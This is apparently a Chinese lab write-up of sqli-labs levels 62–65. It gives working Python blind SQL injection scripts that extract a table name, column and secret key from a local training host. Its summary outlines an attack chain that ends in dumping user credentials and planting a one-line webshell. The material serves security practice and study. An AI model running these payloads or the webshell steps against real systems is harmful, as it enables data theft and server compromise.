二分法通过判断响应里是否有查询结果来判断注入的SQL语句为True或False,可以利用sql响应的多状态来进行注入,比如id=1时返回的login name为Angelina(这里数据库的id为1的是Dumb,但是响应中返回的name是编码在php代码中的数组里拿到的,它是从0开始的),为2时返回是。。。。如此类推

如果我们要猜数据库里的第一个字符的N个比特是什么,我们就要2的N个次方状态,通过对比特,再倒着推出,返回的数据库的信息,这样就可以拿到数据库的信息,假如我们要判断某个字符串第i个字符的第n位开始的三个比特是否为:000,001,010,100,101,110或者111,假如数据表中存在8条数据,我们把结果,假如 ASCII(SUBSTRING((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1), 1, 1)) 是 90,然后ascii可见字符在 0-128,也就是 8 位二进制足以表示。如果该表存在多于8条数据,就能变成只要3次即可获取到1个字符内容。

90 & 7 (00000111) = 2 
90 & 56 (00111000) = 24
90 & 224 (11100000) = 64

然后3种与运算结果通过 case when 把与运算后的情况,弄成8种状态(因为只有3个1,返回只有8种结果),通过页面返回的三种状态,分别是 securestupidsecure ,3个状态即可知道这个字符的8位二进制组成,然后就能得出第1个字符的ascii值是90。

一般MySQL的表名是区分大小写的,而在字符串比较的时候是不区分大小写的。所以在获取key时,可以不管字母的大小写。而对于表名,它的构成是大写字母和数字,也用不着理会它的大小写。

//数字和大小写字母的ASCII码的二进制是:
数字: 0011xxxx
大写字母: 010xxxxx
小写字母: 011xxxxx

在获取表名或key时,我们判断第7位(比特)是不是1就知道该字符是数字或字母;而第6位不用管,因为对于数字,该位为1,对于字母,我们不用管字母的大小写也就不用管该位是0还是1。所以对于每个字符,我们只需获取第7位和前5位即可

通过上面的思路,编写脚本payload进行注入:

#!/usr/bin/python3
# -*-coding:utf-8-*-

import re
import requests

# sqli-lab第62关的脚本,该脚本是一个盲注脚本,用于获取数据库名和表名, 以及表中的数据
# 63关的脚本和62关的脚本基本一样,只是获取的数据不一样
url = "http://192.168.153.130/secenvs/sqlilabs/Less-62/index.php"  # 改成你的地址
try_count = 0

def extract_bits(query, i, bit_values: list):
    """
    获取query执行结果的第 i 个(从1开始算)字符的3个比特
    哪3个比特由bit_values指定
    """
    global try_count

    assert len(bit_values) == 8
    bit_marks = 0
    for v in bit_values:
        bit_marks |= v


# 利用多状态注入,每次只能获取一个比特,所以需要多次请求
# 假如我们要判断数据库里一个字符中的N个比特是什么,我们需要2的N次方个状态,
# 如:我们要判断某串字符串第i个字符的第j位开始的三个比特是否为:000,001,010,011,100,101,110或111
# 因为users表里的数据有13条,也就是13个状态,大于8,小于16,
# 所以每次请求通过比较8个状态获取3个比特的数据。
# 为了获取这三个比特,我们需要8个状态,即8次请求
    payload = """
    '+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
    WHEN {0} THEN 1
    WHEN {1} THEN 2
    WHEN {2} THEN 3
    WHEN {3} THEN 4
    WHEN {4} THEN 5
    WHEN {5} THEN 6
    WHEN {6} THEN 7
    ELSE 8
END
)+'
    """.format(*bit_values[:7], query=query, bit_mark=bit_marks, i=i)
    payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
    # print(payload)

    resp = requests.get(url, params={"id": payload})
    try_count += 1

    infos = ["Angelina", "Dummy", "secure", "stupid", "superman", "batman", "admin", "admin1"]

    match = re.search(r"Your Login name : (.*?)<br>", resp.text)
    assert match
    assert match.group(1) in infos
    bits = bit_values[infos.index(match.group(1))]
    return bits

def extract_data(query, length):
    """
    在获取表名或key时,我们判断第7位(比特)是不是1就知道该字符是数字或字母;
    而第6位不用管,因为对于数字,该位为1,对于字母,我们不用管字母的大小写也就不用管该位是0还是1。
    所以对于每个字符,我们只需获取第7位和前5位即可。
    获取query查询结果的length个字符,每个字符只获取其第7位和前5位
    """
    res = ""
    for i in range(1, length+1):
         # 这里的b2是前5位,b1是第7位
        b2 = extract_bits(query, i, [0b00000000, 0b00000001, 0b00000010, 0b00000011, 0b00000100, 0b00000101, 0b00000110, 0b00000111])  # 00000111
        b1 = extract_bits(query, i, [0b00000000, 0b00001000, 0b00010000, 0b00011000, 0b01000000, 0b01001000, 0b01010000, 0b01011000])  # 01011000
        if b1 & 0b01000000 == 0:
            # 该字符为数字
            bit = b1 | b2 | 0b00100000
        else:
            # 该字符为字母
            bit = b1 | b2
        res += chr(bit)
    return res


if __name__ == "__main__":
    table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
    print("table_name:", table_name)

    secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24)
    print("secret_key:", secret_key)

    print("完成 尝试了:", try_count)


执行结果:
table_name: 15MYU0HVBL
secret_key: Z2YLJ2ZH6VASNBAVRVOCBNVO
完成 尝试了: 68

image-20240512211413745

第六十三关(挑战10):

image-20240512150414943

image-20240512211659309

和六十二关一样,id甚至没咋过滤,直接用六十二关的多状态的payload即可:

执行结果:

table_name: 5P8DCNAUAJ
secret_key: N2II0IEZK6PMMUEKNWLKDQ7E
完成 尝试了: 68

image-20240512212157105

第六十四关(挑战11):

image-20240512150439922image-20240512212335968

​ payload:

#!/usr/bin/python3
# -*-coding:utf-8-*-

import re
import requests


url = "http://192.168.153.130/secenvs/sqlilabs/Less-65/index.php"  # 改成你的地址
try_count = 0

def extract_bits(query, i, j):
    """
    获取query执行结果的第 i 个(从1开始算)字符的第 j 位开始的 3 个比特
    """
    global try_count

    payload = """
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
    WHEN {0} THEN 1
    WHEN {1} THEN 2
    WHEN {2} THEN 3
    WHEN {3} THEN 4
    WHEN {4} THEN 5
    WHEN {5} THEN 6
    WHEN {6} THEN 7
    ELSE 8
END
    """.format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), 
               query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)
    # print(payload)

    resp = requests.get(url, params={"id": payload}, proxies={'http': 'http://192.168.153.130/'})		#改成你的
    try_count += 1

    info = {
        "Angelina": "000",
        "Dummy": "001",
        "secure": "010",
        "stupid": "011",
        "superman": "100",
        "batman": "101",
        "admin": "110",
        "admin1": "111"
    }

    match = re.search(r"Your Login name : (.*?)<br>", resp.text)
    assert match
    bits = info.get(match.group(1))
    assert bits
    return bits


def extract_data(query, length):
    res = ""
    for i in range(1, length+1):
        b3 = extract_bits(query, i, 0)  # 00000111
        b2 = extract_bits(query, i, 3)  # 00111000
        b1 = extract_bits(query, i, 5)  # 11100000
        bit = b1[:2] + b2 + b3
        res += chr(int(bit, 2))
    return res


if __name__ == "__main__":
    table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
    print("table_name:", table_name)

    column_name = "secret_" + extract_data(
        "substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4)",
        4
    )
    print("column_name:", column_name)

    secret_key = extract_data("select " + column_name + " from challenges." + table_name, 24)
    print("secret_key:", secret_key)

    print("完成. 尝试次数为:", try_count)

//执行结果
table_name: PJGZU5BXD9
column_name: secret_RBWV
secret_key: OZV7ViVXa1SGeNwxTNEe4nX7
Done. try_count: 114

image-20240512213140157

第六十五关(挑战12):

image-20240512150458486

和六十四关一样,改下闭合即可:

payload:

#!/usr/bin/python3
# -*-coding:utf-8-*-

import re
import requests


url = "http://192.168.153.130/secenvs/sqlilabs/Less-65/index.php"  # 改成你的地址
try_count = 0

def extract_bits(query, i, j):
    """
    获取query执行结果的第 i 个(从1开始算)字符的第 j 位开始的 3 个比特
    """
    global try_count

    payload = """
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
    WHEN {0} THEN 1
    WHEN {1} THEN 2
    WHEN {2} THEN 3
    WHEN {3} THEN 4
    WHEN {4} THEN 5
    WHEN {5} THEN 6
    WHEN {6} THEN 7
    ELSE 8
END
    """.format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), 
               query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)
    # print(payload)

    resp = requests.get(url, params={"id": payload}, proxies={'http': 'http://192.168.153.130/'})		#改成你的
    try_count += 1

    info = {
        "Angelina": "000",
        "Dummy": "001",
        "secure": "010",
        "stupid": "011",
        "superman": "100",
        "batman": "101",
        "admin": "110",
        "admin1": "111"
    }

    match = re.search(r"Your Login name : (.*?)<br>", resp.text)
    assert match
    bits = info.get(match.group(1))
    assert bits
    return bits


def extract_data(query, length):
    res = ""
    for i in range(1, length+1):
        b3 = extract_bits(query, i, 0)  # 00000111
        b2 = extract_bits(query, i, 3)  # 00111000
        b1 = extract_bits(query, i, 5)  # 11100000
        bit = b1[:2] + b2 + b3
        res += chr(int(bit, 2))
    return res


if __name__ == "__main__":
    table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
    print("table_name:", table_name)

    column_name = "secret_" + extract_data(
        "substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4)",
        4
    )
    print("column_name:", column_name)

    secret_key = extract_data("select " + column_name + " from challenges." + table_name, 24)
    print("secret_key:", secret_key)

    print("完成. 尝试次数为:", try_count)

执行结果:

table_name: GR0594P17H
column_name: secret_MQVE
secret_key: Sl1NSg1nE88enKC6AOatFZjf
Done. try_count: 114

image-20240512214136291

总结:

sqli-lab靶场是一个集成了所有sql注入方法的靶场,能有效的练习手工sql注入的方法,在练习中逐渐感受到sqlmap这个工具的强大之处,但是sqlmap也给我们忽略了很多其中的细节,熟练运用sqlmap可以有效的避免一些手工注入的麻烦和错误,但是通过手工sql注入,才能更好的理解其中的细节和原理。这样才能更好的理解sql注入漏洞的形成和有效的避免sql注入漏洞的方法。

在sql注入中对于id值的处理,无论是id值还是sort,有很多种情况,但是一般是以下几种

'
"
()

在了解对于id值的处理后,我们在进行sql注入的时候要想办法和sql语句进行闭合。这样才能起到作用。在闭合之后,可以使用注释符。一般有以下的几种:

-- -
-- +
#
;%00

其中-- --- +可以在get型的sql注入种使用,不可以在post型的使用。

#;%00在GET和POST下均可以使用

对于sql注入的类型大体可以分为以下几种:

报错注入,布尔盲注(基于时间的盲注,延时注入等等),联合注入,堆叠注入,宽字节等等

在进行实践中,我们要结合实际情况,具体问题具体分析,结合各种绕过手法(大小写.双写,空格…)进行限制的绕过,这样才能更好的进行sql注入的理解和防范。但是现在的网站有各种waf,基本不可能就id=1的情况进行闭合,还要结合对waf的绕过才能进行下一步操作。而且现在的数据库有很多种,这里只是结合了mysql和php环境搭建的sql注入靶机。各种数据库的各种注入语法都不一样,但是SQL语法大同小异。

最后再小结下实施SQL注入攻击的过程:

1.首先对id值或者sort值的闭合进行判断,在页面或者url中输入单引号。确认页面是否有报错。如果有报错,再在引号后面添加注释(-- -),确认页面报错不再出现。结合注释符查看网页有没有回显信息等。

2.再用oder by语句查询字段数有多少。

3.再通过union select拼接查询结果,确认哪些字段在页面中有回显(回显位)。

4.最后在回显位中输入sql注入语句获取数据库的信息,之后再进行爆表,爆字段,爆列,爆详细数据。之后可以向网页或者操作系统目录中写入文件(一句话木马)等进行getshell。

ps:取数据的时候密码和用户名如需要美化输出结果可以这样写:
union select 1,(select group_concat(username,password separator 0x3c62723e) from security.users),3

5.通过浏览器访问木马文件,或者使用中国菜刀,蚁剑等连接一句话木马进行进一步的操作。